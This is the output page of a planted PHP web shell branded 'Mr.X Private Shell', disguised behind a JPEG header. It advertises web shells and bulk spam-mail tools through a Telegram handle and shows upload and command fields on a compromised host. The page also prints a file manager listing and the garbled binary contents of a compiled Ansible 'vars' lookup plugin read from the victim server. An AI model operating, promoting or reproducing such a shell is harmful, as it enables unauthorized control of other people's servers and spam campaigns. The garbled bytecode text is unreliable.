����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g�
�@s`ddlmZmZmZeZdZdZdZddl	m
Z
mZddlm
Z
ddlmZGdd	�d	e�Zd
S)�)�absolute_import�division�print_functiona
    name: vars
    author: Ansible Core Team
    version_added: "2.5"
    short_description: Lookup templated value of variables
    description:
      - 'Retrieves the value of an Ansible variable. Note: Only returns top level variable names.'
    options:
      _terms:
        description: The variable names to look up.
        required: True
      default:
        description:
            - What to return if a variable is undefined.
            - If no default is set, it will result in an error if any of the variables is undefined.
a�
- name: Show value of 'variablename'
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'variabl' + myvar) }}"
  vars:
    variablename: hello
    myvar: ename

- name: Show default empty since i dont have 'variablnotename'
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'variabl' + myvar, default='')}}"
  vars:
    variablename: hello
    myvar: notename

- name: Produce an error since i dont have 'variablnotename'
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'variabl' + myvar)}}"
  ignore_errors: True
  vars:
    variablename: hello
    myvar: notename

- name: find several related variables
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'ansible_play_hosts', 'ansible_play_batch', 'ansible_play_hosts_all') }}"

- name: Access nested variables
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'variabl' + myvar).sub_var }}"
  ignore_errors: True
  vars:
    variablename:
        sub_var: 12
    myvar: ename

- name: alternate way to find some 'prefixed vars' in loop
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.vars', 'ansible_play_' + item) }}"
  loop:
    - hosts
    - batch
    - hosts_all
z]
_value:
  description:
    - value of the variables requested.
  type: list
  elements: raw
)�AnsibleError�AnsibleUndefinedVariable)�string_types)�
LookupBasec@seZdZddd�ZdS)�LookupModuleNc	Ks|dur||j_t|jdi�}|j||d�|�d�}g}|D]�}t|t�s`td|t|�f��zrz||}WnJt	y�z|d|d|}Wnt	y�t
d|��Yn0Yn0|�|jj|dd	��Wq>t
y�|dur�|�|�n�Yq>0q>|S)
NZ_available_variables)Zvar_optionsZdirect�defaultz:Invalid setting identifier, "%s" is not a string, its a %sZhostvarsZinventory_hostnamez$No variable found with this name: %sT)Zfail_on_undefined)
Z_templarZavailable_variables�getattrZset_optionsZ
get_option�
isinstancerr�type�KeyErrorr�append�template)	�selfZtermsZ	variables�kwargsZmyvarsr
�retZterm�value�r�?/usr/lib/python3.9/site-packages/ansible/plugins/lookup/vars.py�runMs.


zLookupModule.run)N)�__name__�
__module__�__qualname__rrrrrr	Ksr	N)Z
__future__rrrr
Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNZansible.errorsrrZansible.module_utils.sixrZansible.plugins.lookuprr	rrrr�<module>s'

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 4.03 KB 0644
__init__.cpython-39.pyc File 4.03 KB 0644
config.cpython-39.opt-1.pyc File 5.38 KB 0644
config.cpython-39.pyc File 5.38 KB 0644
csvfile.cpython-39.opt-1.pyc File 6.41 KB 0644
csvfile.cpython-39.pyc File 6.41 KB 0644
dict.cpython-39.opt-1.pyc File 2.22 KB 0644
dict.cpython-39.pyc File 2.22 KB 0644
env.cpython-39.opt-1.pyc File 2.82 KB 0644
env.cpython-39.pyc File 2.82 KB 0644
file.cpython-39.opt-1.pyc File 2.75 KB 0644
file.cpython-39.pyc File 2.75 KB 0644
fileglob.cpython-39.opt-1.pyc File 2.78 KB 0644
fileglob.cpython-39.pyc File 2.78 KB 0644
first_found.cpython-39.opt-1.pyc File 7.19 KB 0644
first_found.cpython-39.pyc File 7.19 KB 0644
indexed_items.cpython-39.opt-1.pyc File 1.81 KB 0644
indexed_items.cpython-39.pyc File 1.81 KB 0644
ini.cpython-39.opt-1.pyc File 6.21 KB 0644
ini.cpython-39.pyc File 6.21 KB 0644
inventory_hostnames.cpython-39.opt-1.pyc File 1.97 KB 0644
inventory_hostnames.cpython-39.pyc File 1.97 KB 0644
items.cpython-39.opt-1.pyc File 2.04 KB 0644
items.cpython-39.pyc File 2.04 KB 0644
lines.cpython-39.opt-1.pyc File 2.42 KB 0644
lines.cpython-39.pyc File 2.42 KB 0644
list.cpython-39.opt-1.pyc File 1.33 KB 0644
list.cpython-39.pyc File 1.33 KB 0644
nested.cpython-39.opt-1.pyc File 2.68 KB 0644
nested.cpython-39.pyc File 2.68 KB 0644
password.cpython-39.opt-1.pyc File 14.45 KB 0644
password.cpython-39.pyc File 14.45 KB 0644
pipe.cpython-39.opt-1.pyc File 2.64 KB 0644
pipe.cpython-39.pyc File 2.64 KB 0644
random_choice.cpython-39.opt-1.pyc File 1.73 KB 0644
random_choice.cpython-39.pyc File 1.73 KB 0644
sequence.cpython-39.opt-1.pyc File 7.66 KB 0644
sequence.cpython-39.pyc File 7.66 KB 0644
subelements.cpython-39.opt-1.pyc File 5.01 KB 0644
subelements.cpython-39.pyc File 5.01 KB 0644
template.cpython-39.opt-1.pyc File 5.12 KB 0644
template.cpython-39.pyc File 5.12 KB 0644
together.cpython-39.opt-1.pyc File 2.45 KB 0644
together.cpython-39.pyc File 2.45 KB 0644
unvault.cpython-39.opt-1.pyc File 1.99 KB 0644
unvault.cpython-39.pyc File 1.99 KB 0644
url.cpython-39.opt-1.pyc File 8.3 KB 0644
url.cpython-39.pyc File 8.3 KB 0644
varnames.cpython-39.opt-1.pyc File 2.4 KB 0644
varnames.cpython-39.pyc File 2.4 KB 0644
vars.cpython-39.opt-1.pyc File 3.26 KB 0644
vars.cpython-39.pyc File 3.26 KB 0644